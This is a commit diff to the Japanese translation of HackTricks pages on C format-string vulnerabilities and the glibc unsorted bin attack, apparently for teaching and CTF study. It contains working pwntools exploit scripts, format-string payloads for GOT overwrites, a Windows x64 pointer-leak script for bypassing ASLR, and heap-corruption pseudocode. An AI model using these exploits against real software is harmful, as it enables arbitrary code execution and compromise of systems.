mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's
This commit is contained in:
parent
e0970a01ad
commit
abb2ddbcb8
@ -5,17 +5,13 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
In C **`printf`** is a function that can be used to **出力**するために使われる関数です。
|
||||
この関数が期待する**最初のパラメータ**は**書式指定子を含む生のテキスト**です。
|
||||
続くパラメータはそのテキスト内の**書式指定子を置き換える値**になります。
|
||||
In C **`printf`** は文字列を**出力**するための関数です。 この関数が期待する**最初のパラメータ**は**フォーマッタを含む生のテキスト**です。続くパラメータは、生のテキスト中の**フォーマッタを置き換えるための値**になります。
|
||||
|
||||
Other vulnerable functions are **`sprintf()`** and **`fprintf()`**.
|
||||
他の脆弱な関数には **`sprintf()`** や **`fprintf()`** があります。
|
||||
|
||||
この脆弱性は、関数の**最初の引数として攻撃者が用意したテキストが使われる**ときに発生します。
|
||||
攻撃者は**printf format**文字列の機能を悪用した**特殊な入力を作成**することで任意のアドレスから**データを読み取り/書き込み (readable/writable)**できるようになります。
|
||||
この手法により**execute arbitrary code**することも可能になります。
|
||||
この脆弱性は、**攻撃者のテキストがこの関数の最初の引数として使われる**と発生します。攻撃者は**printfのフォーマット機能を悪用した特殊な入力**を作成することで、任意のアドレスからデータを**読み取り/任意のアドレスに書き込む(読み書き可能)**ことができ、これにより**任意のコードを実行**することが可能になります。
|
||||
|
||||
#### 書式指定子:
|
||||
#### フォーマッタ:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
@ -43,7 +39,7 @@ printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
- fprintf 脆弱性:
|
||||
- fprintf が脆弱な場合:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
@ -58,26 +54,26 @@ return 0;
|
||||
```
|
||||
### **ポインタへのアクセス**
|
||||
|
||||
書式 **`%<n>$x`**(`n` は数値)は、printf に n 番目のパラメータ(stack から)を選ばせるためのものです。したがって、printf を使って stack から 4 番目のパラメータを読みたい場合は、次のようにできます:
|
||||
書式 **`%<n>$x`**(`n` は数値)は printf に stack 上の n 番目の引数を選択させることを可能にします。したがって、printf を使って stack の 4 番目の引数を読みたい場合は次のようにできます:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
そして最初から4番目のパラメータまでを読み取ります。
|
||||
そして最初のパラメータから4番目のパラメータまで読み取ります。
|
||||
|
||||
または、次のようにすることもできます:
|
||||
または、次のようにできます:
|
||||
```c
|
||||
printf("%4$x")
|
||||
```
|
||||
そして直接4番目を読み取る。
|
||||
そして直接4番目を読む。
|
||||
|
||||
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
|
||||
Notice that the attacker controls the `printf` **パラメータ(要するに)** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
|
||||
|
||||
> [!CAUTION]
|
||||
> 攻撃者がこの入力を制御できる場合、stackに任意の address を追加し、`printf` にそれらへアクセスさせることが可能になります。次のセクションでこの挙動の利用方法を説明します。
|
||||
> この入力を制御できる攻撃者は、**スタックに任意のアドレスを追加し、`printf`にそれらへアクセスさせる**ことが可能になります。次のセクションでこの振る舞いの利用方法が説明されます。
|
||||
|
||||
## **Arbitrary Read**
|
||||
|
||||
フォーマッタ **`%n$s`** を使うと、**`printf`** に **address** が **n position** に位置しているものを取得させ、それに従って **文字列として出力**(0x00 が見つかるまで出力)させることができます。したがって、バイナリのベースアドレスが **`0x8048000`** で、ユーザ入力がstackの4番目の位置で始まることが分かっている場合、バイナリの先頭を次のように出力できます:
|
||||
フォーマッタ **`%n$s`** を使うと、**`printf`** にスタックの **n番目にあるアドレス** を取得させ、そのアドレスが指す場所を **文字列として出力**(0x00 が見つかるまで出力)させることができます。例えば、バイナリのベースアドレスが **`0x8048000`** で、ユーザ入力がスタックの4番目から始まることが分かっていれば、バイナリの先頭を次のように出力できます:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -91,11 +87,11 @@ p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 入力の先頭にアドレス 0x8048000 を置くことはできません。なぜならそのアドレスの末尾に 0x00 があり、文字列がそこに cat されるからです。
|
||||
> 入力の先頭にアドレス 0x8048000 を置くことはできません。なぜなら、そのアドレスの末尾に 0x00 があり、文字列がそこで終端されてしまうからです。
|
||||
|
||||
### オフセットを見つける
|
||||
|
||||
オフセットを見つけるには、4 または 8 バイト(`0x41414141`)を送り、その後に **`%1$x`** を付け、`A` が返るまで **値を増やす**。
|
||||
オフセットを見つけるには、入力に4バイトまたは8バイト(`0x41414141`)を送り、その後に **`%1$x`** を付け、`A's` が返ってくるまでその値を**増やします**。
|
||||
|
||||
<details>
|
||||
|
||||
@ -130,45 +126,44 @@ p.close()
|
||||
```
|
||||
</details>
|
||||
|
||||
### どの程度有用か
|
||||
### 有用性
|
||||
|
||||
Arbitrary reads は次の用途で有用です:
|
||||
Arbitrary reads は以下の目的に有用です:
|
||||
|
||||
- **Dump** the **binary** from memory
|
||||
- **Access specific parts of memory where sensitive** **info** が格納されている(like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
- **Dump** the **binary** をメモリから取得する
|
||||
- **Access specific parts of memory where sensitive** **info** が保存されている場所にアクセスする(例: canaries、encryption keys、または custom passwords — 例: [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Arbitrary Write**
|
||||
|
||||
フォーマッタ **`%<num>$n`** は、stack 上の <num> パラメータで指定されたアドレスに、これまでに書き込まれたバイト数を書き込みます。攻撃者が printf で任意の数の char を書き込める場合、**`%<num>$n`** を使って任意のアドレスに任意の数値を書き込むことが可能になります。
|
||||
フォーマッタ **`%<num>$n`** は、スタック上の <num> パラメータが指すアドレスに、これまでに出力されたバイト数を書き込みます。もし攻撃者が printf で任意の数の文字を書き込めるなら、**`%<num>$n`** により任意のアドレスに任意の数値を書き込むことが可能になります。
|
||||
|
||||
幸いなことに、数値 9999 を書き込むために入力に 9999 個の "A" を追加する必要はありません。代わりに、フォーマッタ **`%.<num-write>%<num>$n`** を使って、数値 **`<num-write>`** を **stack の `num` 位置が指すアドレス** に書き込むことができます。
|
||||
幸いなことに、数値 9999 を書き込むために入力に 9999 個の "A" を追加する必要はありません。代わりにフォーマッタ **`%.<num-write>%<num>$n`** を使って、`num` の位置が指すアドレスに数値 **`<num-write>`** を書き込むことができます。
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
ただし、通常、`0x08049724` のようなアドレス(同時に書き込むには非常に大きな値)を書き込む際は、**`$n` の代わりに `$hn` が使われます**。これにより**2バイトだけを書き込む**ことができます。したがって、この操作はアドレスの上位2Bと下位2Bで2回行われます。
|
||||
ただし、`0x08049724` のようなアドレス(同時に書き込むには非常に大きな数)を書く場合、通常は `$n` の代わりに **`$hn`** が使われる点に注意してください。これにより **2 Bytes のみを書き込む**ことができます。したがって、この操作はアドレスの上位2Bと下位2Bで2回行われます。
|
||||
|
||||
したがって、この脆弱性により、任意のアドレスに**何でも書き込むことが可能(arbitrary write)**です。
|
||||
したがって、この脆弱性は **write anything in any address (arbitrary write)** を可能にします。
|
||||
|
||||
In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
|
||||
この例では、目的は後で呼ばれる **GOT** テーブル内のある **function** の **address** を **overwrite** することです。もちろん、これは他の arbitrary write to exec 技術を悪用することもできます:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\
|
||||
As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used.
|
||||
ユーザから引数を受け取り、その後呼ばれる **function** の **address** を **overwrite** して、**`system`** **function** を指すようにします。前述の通り、アドレスを書くには通常2段階が必要です:まずアドレスの2Bytesを書き込み、その後もう2Bytesを書き込みます。そのために **`$hn`** を使います。
|
||||
|
||||
- **HOB** is called to the 2 higher bytes of the address
|
||||
- **LOB** is called to the 2 lower bytes of the address
|
||||
- **HOB** はアドレスの上位2Bytesを指します
|
||||
- **LOB** はアドレスの下位2Bytesを指します
|
||||
|
||||
Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one.
|
||||
その後、format string の動作上、\[HOB, LOB] のうち**小さい方を先に書き込み**、その後にもう一方を書き込む必要があります。
|
||||
|
||||
HOB < LOB\
|
||||
もし HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
||||
HOB > LOB\
|
||||
もし HOB > LOB\
|
||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||||
@ -177,14 +172,14 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
||||
```
|
||||
### Pwntools テンプレート
|
||||
|
||||
この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**は、次で見つけられます:
|
||||
この種の脆弱性に対する exploit を準備するための **テンプレート** は次で見つかります:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
format-strings-template.md
|
||||
{{#endref}}
|
||||
|
||||
あるいは、[**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) にある基本的な例:
|
||||
または、[**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) にある基本的な例:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -205,26 +200,26 @@ p.interactive()
|
||||
```
|
||||
## Format Strings to BOF
|
||||
|
||||
format string vulnerability の書き込み動作を悪用して、**スタック上のアドレスに書き込む**ことで、**buffer overflow** 型の脆弱性を悪用することが可能です。
|
||||
format string vulnerability の書き込み動作を悪用して、**write in addresses of the stack** を行い、**buffer overflow** 型の脆弱性を悪用することが可能です。
|
||||
|
||||
|
||||
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
||||
|
||||
On Windows x64では、最初の4つの整数/ポインタ引数がレジスタ(RCX, RDX, R8, R9)で渡されます。多くのバグのある call-sites では、攻撃者制御の文字列が format 引数として使われているが、variadic 引数は提供されていない、例えば:
|
||||
Windows x64 では最初の4つの整数/ポインタ引数がレジスタ(RCX, RDX, R8, R9)で渡されます。多くのバグのある呼び出し箇所では、攻撃者制御の文字列が format argument として使われる一方で、variadic arguments が提供されないことがあります。例えば:
|
||||
```c
|
||||
// keyData is fully controlled by the client
|
||||
// _snprintf(dst, len, fmt, ...)
|
||||
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
||||
```
|
||||
可変引数が渡されないため、"%p", "%x", "%s" のような変換は CRT に次の可変引数を適切なレジスタから読み取らせます。Microsoft x64 calling convention では、"%p" に対する最初の読み取りが R9 から行われます。コールサイトで R9 に入っている一時的な値が出力されます。実際には、これはしばしばモジュール内の安定したポインタ(例: 周辺のコードによって以前に R9 に置かれたローカル/グローバルオブジェクトへのポインタや callee-saved 値)を漏らし、モジュールベースを復元して ASLR を無効化するために使えます。
|
||||
varargsが渡されないため、"%p"、"%x"、"%s" のような変換はCRTに次の可変引数を適切なレジスタから読み取らせます。Microsoft x64 calling conventionでは、"%p" に対する最初の読み取りはR9から行われます。呼び出し箇所のR9にある一時的な値がそのまま表示されます。実際には、これはモジュール内の安定したポインタをleaksすることが多く(例:周囲のコードによってR9に置かれたローカル/グローバルオブジェクトへのポインタやcallee-saved値)、モジュールベースを復元してASLRを無効化するのに利用できます。
|
||||
|
||||
Practical workflow:
|
||||
|
||||
- 攻撃者が制御する文字列の先頭に、"%p " のような無害なフォーマットを挿入し、最初の変換がフィルタリングより先に実行されるようにする。
|
||||
- leaked pointer を取得し、そのオブジェクトのモジュール内での静的オフセットを特定する(シンボルやローカルコピーで一度リバースする)。そしてイメージベースを `leak - known_offset` として復元する。
|
||||
- そのベースを再利用して、ROP gadgets と IAT entries の絶対アドレスをリモートで計算する。
|
||||
- 攻撃者が制御する文字列の先頭に"%p "のような無害なフォーマットを注入し、最初の変換がフィルタリングの前に実行されるようにします。
|
||||
- leaked pointerを取得し、そのオブジェクトのモジュール内部での静的オフセットを特定する(symbolsやローカルコピーを使って一度リバースする)ことで、イメージベースを `leak - known_offset` として復元します。
|
||||
- そのベースを再利用して、リモートでROP gadgetsやIATエントリの絶対アドレスを計算します。
|
||||
|
||||
例(簡略化した python):
|
||||
Example (abbreviated python):
|
||||
```python
|
||||
from pwn import remote
|
||||
|
||||
@ -236,24 +231,25 @@ leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
|
||||
base = leaked - 0x20660 # module base = leak - offset
|
||||
print(hex(leaked), hex(base))
|
||||
```
|
||||
注意:
|
||||
- 差し引く正確なオフセットは、ローカルでのリバース中に一度特定し、それ以降は同じバイナリ/バージョンで再利用します。
|
||||
- 最初の試行で"%p"が有効なポインタを出力しない場合は、他の指定子("%llx", "%s")や複数の変換("%p %p %p")を試して、他の引数レジスタ/スタックをサンプリングしてください。
|
||||
- このパターンは、Windows x64 calling convention と printf-family の実装に特有で、フォーマット文字列が要求したときに存在しない varargs をレジスタから取得する場合に当てはまります。
|
||||
Notes:
|
||||
- 正確なオフセットはローカルでリバースした際に一度だけ見つけ、その後は(同じバイナリ/バージョンで)再利用する。
|
||||
- 最初の試行で "%p" が有効なポインタを出力しない場合は、他の指定子 ("%llx", "%s") や複数の変換 ("%p %p %p") を試して、他の引数レジスタ/スタックをサンプリングする。
|
||||
- このパターンは Windows x64 calling convention と、format string が要求したときに存在しない varargs をレジスタから取得する printf-family の実装に特有である。
|
||||
|
||||
この手法は、ASLR が有効で明白なメモリ開示プリミティブがない Windows サービス上で ROP をブートストラップする際に非常に有用です。
|
||||
このテクニックは、ASLR が有効で明らかな memory disclosure primitives がないような Windows サービスで ROP をブートストラップするのに非常に有用である。
|
||||
|
||||
## その他の例 & 参考
|
||||
## Other Examples & References
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
||||
- 32 bit、no relro、no canary、nx、no pie、format strings を使った基本的な手法で、スタックから flag を leak する(実行フローを変更する必要はない)
|
||||
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 bit、relro、no canary、nx、no pie、format string を使って `fflush` のアドレスを win function(ret2win)で上書きする
|
||||
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||
- 32 bit、relro、no canary、nx、no pie、format string を使って main 内の `.fini_array` にアドレスを書き込み(これによりフローがもう1回ループする)、GOT テーブル内の `strlen` を指すエントリに `system` のアドレスを書き込む。フローが main に戻ると、`strlen` がユーザ入力で呼ばれ、`system` を指しているため、渡されたコマンドが実行される。
|
||||
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
|
@ -4,68 +4,67 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
For more information about what is an unsorted bin check this page:
|
||||
Unsorted bin が何かについては次のページを参照してください:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
unsorted リストはチャンクの `bk` アドレスに `unsorted_chunks (av)` のアドレスを書き込むことができます。したがって、攻撃者がunsorted bin内のチャンクの `bk` ポインタのアドレスを**変更できる**のであれば、任意のアドレスにそのアドレスを**書き込む**ことができ、Glibc のアドレスを leak したり防御を回避したりするのに役立ちます。
|
||||
Unsorted lists はチャンクの `bk` アドレスに `unsorted_chunks (av)` のアドレスを書き込むことができます。したがって、攻撃者が unsorted bin 内のチャンクの `bk` ポインタのアドレスを**変更できる**場合、任意のアドレスにそのアドレスを書き込むことができ、Glibc addresses を leak したりいくつかの防御を回避したりするのに役立ちます。
|
||||
|
||||
基本的に、この攻撃では任意のアドレスに**大きな数値を設定**できます。 この大きな数値はアドレスであり、heap アドレスや Glibc アドレスになり得ます。伝統的なターゲットは `global_max_fast` で、fast bin を大きなサイズで作成できるようにし(unsorted bin attack から fast bin attack へ移行するため)でした。
|
||||
要するに、この攻撃は任意のアドレスに**大きな数値を設定する**ことを可能にします。この大きな数値はアドレスであり、heap アドレスや Glibc アドレスになり得ます。従来のターゲットは **`global_max_fast`** で、これにより fast bin のサイズを大きくして(unsorted bin attack から fast bin attack に移行することを可能にする)ことが一般的でした。
|
||||
|
||||
- Modern note (glibc ≥ 2.39): `global_max_fast` became an 8‑bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive.
|
||||
|
||||
> [!TIP]
|
||||
> T> この例([https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle))を見て、チャンクサイズに 0x4000 と 0x5000 を(Tcache を避けるために)0x400 と 0x500 の代わりに使用すると、**現在では** エラー **`malloc(): unsorted double linked list corrupted`** が発生するのが確認できます。
|
||||
>
|
||||
> したがって、この unsorted bin attack は現在(他のチェックに加えて)ダブルリンクリストを整合させる必要があり、`victim->bk->fd == victim` または `victim->fd == av (arena)` を回避する必要があります。つまり、書き込み先のアドレスはその `fd` フィールドに偽チャンクのアドレスを持ち、偽チャンクの `fd` が arena を指している必要があります。
|
||||
> 例として [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) のサンプルを見て、チャンクサイズに 0x4000 と 0x5000(Tcache を避けるために 0x400 と 0x500 の代わりに)を使うと、**現在では** エラー **`malloc(): unsorted double linked list corrupted`** が発生することが分かります。
|
||||
>
|
||||
> したがって、この unsorted bin attack は(他のチェックとともに)二重連結リストを修正できることを要求するようになりました。つまり `victim->bk->fd == victim` をバイパスするか、あるいは `victim->fd == av (arena)` が成立しないようにする必要があります。これは、書き込みたいアドレスの `fd` 位置に偽チャンクのアドレスが入っており、かつその偽チャンクの `fd` が arena を指している必要があることを意味します。
|
||||
|
||||
> [!CAUTION]
|
||||
> この攻撃は unsorted bin を破損させます(したがって small や large も影響を受けます)。そのため、現在は **fast bin からの割り当てのみを使用** できます(より複雑なプログラムは他の割り当てを行いクラッシュする可能性があります)。また、これを引き起こすためには **同じサイズを割り当てる必要があり、さもないとプログラムがクラッシュします**。
|
||||
> この攻撃は unsorted bin(および small/large bins も)を破壊する点に注意してください。したがって、現在は **fast bin からの割り当てのみを使う**(より複雑なプログラムは他の割り当てを行ってクラッシュするかもしれません)ことが多く、これをトリガーするには **同じサイズを割り当てる必要がある(さもなければプログラムはクラッシュする)** ことに留意してください。
|
||||
>
|
||||
> `global_max_fast` を上書きすることで、fast bin が他の割り当てを処理してくれると信頼してこの問題を回避できる場合があります。
|
||||
> また、`global_max_fast` を上書きすることは場合によっては役立ちます。fast bin が残りの割り当てを扱えるようになれば、エクスプロイト完了まで耐えられる可能性があります。
|
||||
|
||||
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
|
||||
### 書き込みが実際にどのように発生するか
|
||||
|
||||
### 書き込みが実際に行われる仕組み
|
||||
- unsorted‑bin 書き込みは、解放時に解放されたチャンクが unsorted list の先頭に挿入されるときにトリガーされます。
|
||||
- 挿入中、アロケータは `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` を実行します。
|
||||
- `free(victim)` を呼ぶ前に `victim->bk` を `(mchunkptr)(TARGET - 0x10)` に設定できれば、最後の文が書き込みを行います:`*(TARGET) = victim`。
|
||||
- 後で、アロケータが unsorted bin を処理する際に、整合性チェックは(他のチェックとともに)`bck->fd == victim` と `victim->fd == unsorted_chunks(av)` を検証し、そうでなければ `malloc(): unsorted double linked list corrupted` で中止します。挿入操作は既に `bck->fd`(我々の `TARGET`)に `victim` を書き込んでいるため、書き込みが成功していればこれらのチェックは満たされ得ます。
|
||||
|
||||
- The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list.
|
||||
- During insertion, the allocator performs `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
|
||||
- If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`.
|
||||
- Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded.
|
||||
## モダンな制約 (glibc ≥ 2.33)
|
||||
|
||||
## 現代の制約 (glibc ≥ 2.33)
|
||||
現行の glibc で unsorted‑bin 書き込みを安定して利用するには:
|
||||
|
||||
To use unsorted‑bin writes reliably on current glibc:
|
||||
- Tcache の干渉: tcache に入るサイズでは free がそちらに回され、unsorted bin に到達しません。対策としては
|
||||
- 要求サイズを MAX_TCACHE_SIZE より大きくする(64bit でのデフォルトは ≥ 0x410)、または
|
||||
- 対応する tcache bin を埋める(7 エントリ)ことで追加の free が global bins に到達するようにする、または
|
||||
- 環境を制御できるなら tcache を無効化する(例: GLIBC_TUNABLES glibc.malloc.tcache_count=0)。
|
||||
- unsorted list に対する整合性チェック: 次に unsorted bin を検査する割り当てパスで、glibc は(単純化して)次をチェックします:
|
||||
- `bck->fd == victim` と `victim->fd == unsorted_chunks(av)`;そうでなければ `malloc(): unsorted double linked list corrupted` で中止。
|
||||
- これはターゲットとするアドレスが二回の書き込みを許容する必要があることを意味します:まず free 時に `*(TARGET) = victim`、後でチャンクが取り除かれる際に `*(TARGET) = unsorted_chunks(av)`(アロケータは `bck->fd` をビンの先頭に書き戻す)。単に大きな非ゼロ値を強制するだけで有用なターゲットを選んでください。
|
||||
- 現代のエクスプロイトでの典型的な安定ターゲット:
|
||||
- 「大きな」値をフラグや制限値として扱うアプリケーションやグローバルな状態。
|
||||
- 間接的なプリミティブ(例: その後の [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) の準備や後続の write‑what‑where をピボットするため)。
|
||||
- 新しい glibc では `__malloc_hook`/`__free_hook` が 2.34 で削除されているため避ける。`global_max_fast` は ≥ 2.39 では避ける(次の注を参照)。
|
||||
|
||||
- Tcache の干渉: サイズが tcache に入る場合、free はそちらに流され unsorted bin に触れません。対策としては次のいずれか:
|
||||
- MAX_TCACHE_SIZE より大きいサイズのリクエストを行う(64bit のデフォルトでは ≥ 0x410)、または
|
||||
- 該当する tcache bin を満たして(7 エントリ)追加の free が global bins に到達するようにする、または
|
||||
- 環境を制御可能であれば tcache を無効化する(例: GLIBC_TUNABLES glibc.malloc.tcache_count=0)。
|
||||
- unsorted リストの整合性チェック: unsorted bin を調べる次の allocation パスで、glibc は(簡略化して)次をチェックします:
|
||||
- `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`.
|
||||
- つまり、ターゲットとするアドレスは2回の書き込みを受け入れられなければなりません:最初は free 時に `*(TARGET) = victim`、後はチャンクが取り除かれる際に `*(TARGET) = unsorted_chunks(av)`(allocator が `bck->fd` をビンヘッドに書き戻す)となります。単純に大きな非ゼロ値を設定するだけで役に立つターゲットを選んでください。
|
||||
- 現代のエクスプロイトでの典型的で安定したターゲット
|
||||
- アプリケーションやグローバル状態で「large」な値をフラグや制限として扱うもの。
|
||||
- 間接的なプリミティブ(例:後続の [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) の準備や後の write-what-where をピボットするための設定)。
|
||||
- 新しい glibc では `__malloc_hook`/`__free_hook` は 2.34 で削除されているため避けること。`global_max_fast` は ≥ 2.39 では避けてください(次の注を参照)。
|
||||
- 最近の glibc における `global_max_fast` について
|
||||
- glibc 2.39+ では `global_max_fast` は 8 ビットのグローバルです。ヒープポインタを書き込んで fastbins を拡張するという古典的手口はもはやきれいに動作せず、隣接するアロケータ状態を破壊する可能性があります。別の戦略を推奨します。
|
||||
- `global_max_fast` に関して最近の glibc では
|
||||
- glibc 2.39+ では `global_max_fast` は 8 ビットのグローバルになりました。ここにヒープポインタを書き込んで fastbins を拡大するという古典的トリックはもはやきれいに動作せず、隣接するアロケータ状態を破壊する可能性があります。別の戦略を優先してください。
|
||||
|
||||
## 最小限のエクスプロイト手順(現代の glibc)
|
||||
## 最小限のエクスプロイト手順(モダン glibc)
|
||||
|
||||
Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsorted‑bin insertion primitive, without crashing.
|
||||
目的: unsorted‑bin 挿入プリミティブを使って、クラッシュさせずにヒープポインタを任意のアドレスへ単一回書き込むことを達成する。
|
||||
|
||||
- レイアウト/準備
|
||||
- A, B, C を tcache を回避するのに十分なサイズで割り当てする(例: 0x5000)。C は top chunk と合体するのを防ぎます。
|
||||
- 破壊(Corruption)
|
||||
- A から B のチャンクヘッダへ overflow して `B->bk = (mchunkptr)(TARGET - 0x10)` を設定する。
|
||||
- トリガー
|
||||
- `free(B)`。挿入時に allocator は `bck->fd = B` を実行し、したがって `*(TARGET) = B` となります。
|
||||
- レイアウト/グルーミング
|
||||
- Tcache を回避するのに十分大きなサイズで A, B, C を割り当てる(例: 0x5000)。C は top チャンクとの結合を防ぎます。
|
||||
- 損傷(Corruption)
|
||||
- A から B のチャンクヘッダへオーバーフローして `B->bk = (mchunkptr)(TARGET - 0x10)` を設定する。
|
||||
- トリガ
|
||||
- `free(B)`。挿入時にアロケータは `bck->fd = B` を実行し、したがって `*(TARGET) = B` が行われます。
|
||||
- 続行
|
||||
- 割り当てを続ける予定でプログラムが unsorted bin を使用する場合、後で allocator が `*(TARGET) = unsorted_chunks(av)` を設定することを想定してください。両方の値は通常大きく、単に「big」かどうかだけをチェックするターゲットではサイズ/制限の意味を変えるのに十分な場合があります。
|
||||
- もし割り当てを続ける予定でプログラムが unsorted bin を使用するなら、後でアロケータが `*(TARGET) = unsorted_chunks(av)` を設定することを予期してください。両方の値は通常大きく、単に「大きい」ことをチェックするターゲットのサイズ/制限の意味を変えるのに十分であることが多いです。
|
||||
|
||||
Pseudocode skeleton:
|
||||
```c
|
||||
@ -80,55 +79,55 @@ void *C = malloc(0x5000); // guard
|
||||
free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
|
||||
```
|
||||
> [!NOTE]
|
||||
> • If you cannot bypass tcache with size, fill the tcache bin for the chosen size (7 frees) before freeing the corrupted chunk so the free goes to unsorted.
|
||||
> • If the program immediately aborts on the next allocation due to unsorted-bin checks, re‑examine that `victim->fd` still equals the bin head and that your `TARGET` holds the exact `victim` pointer after the first write.
|
||||
> • サイズで tcache をバイパスできない場合は、破損したチャンクを free して unsorted に送る前に、選んだサイズの tcache bin を満たす(7 回 free)こと。
|
||||
> • 次の allocation で unsorted-bin のチェックによりプログラムが即座に abort する場合は、最初の書き込み後に `victim->fd` がまだ bin head と等しいか、あなたの `TARGET` が正確な `victim` ポインタを保持しているか再確認すること。
|
||||
|
||||
## Unsorted Bin Infoleak Attack
|
||||
|
||||
これは非常に基本的な概念です。unsorted bin 内のチャンクはポインタを持ちます。unsorted bin の最初のチャンクは実際に **`fd`** と **`bk`** のリンクが **main arena (Glibc) の一部を指している** ことになります。\
|
||||
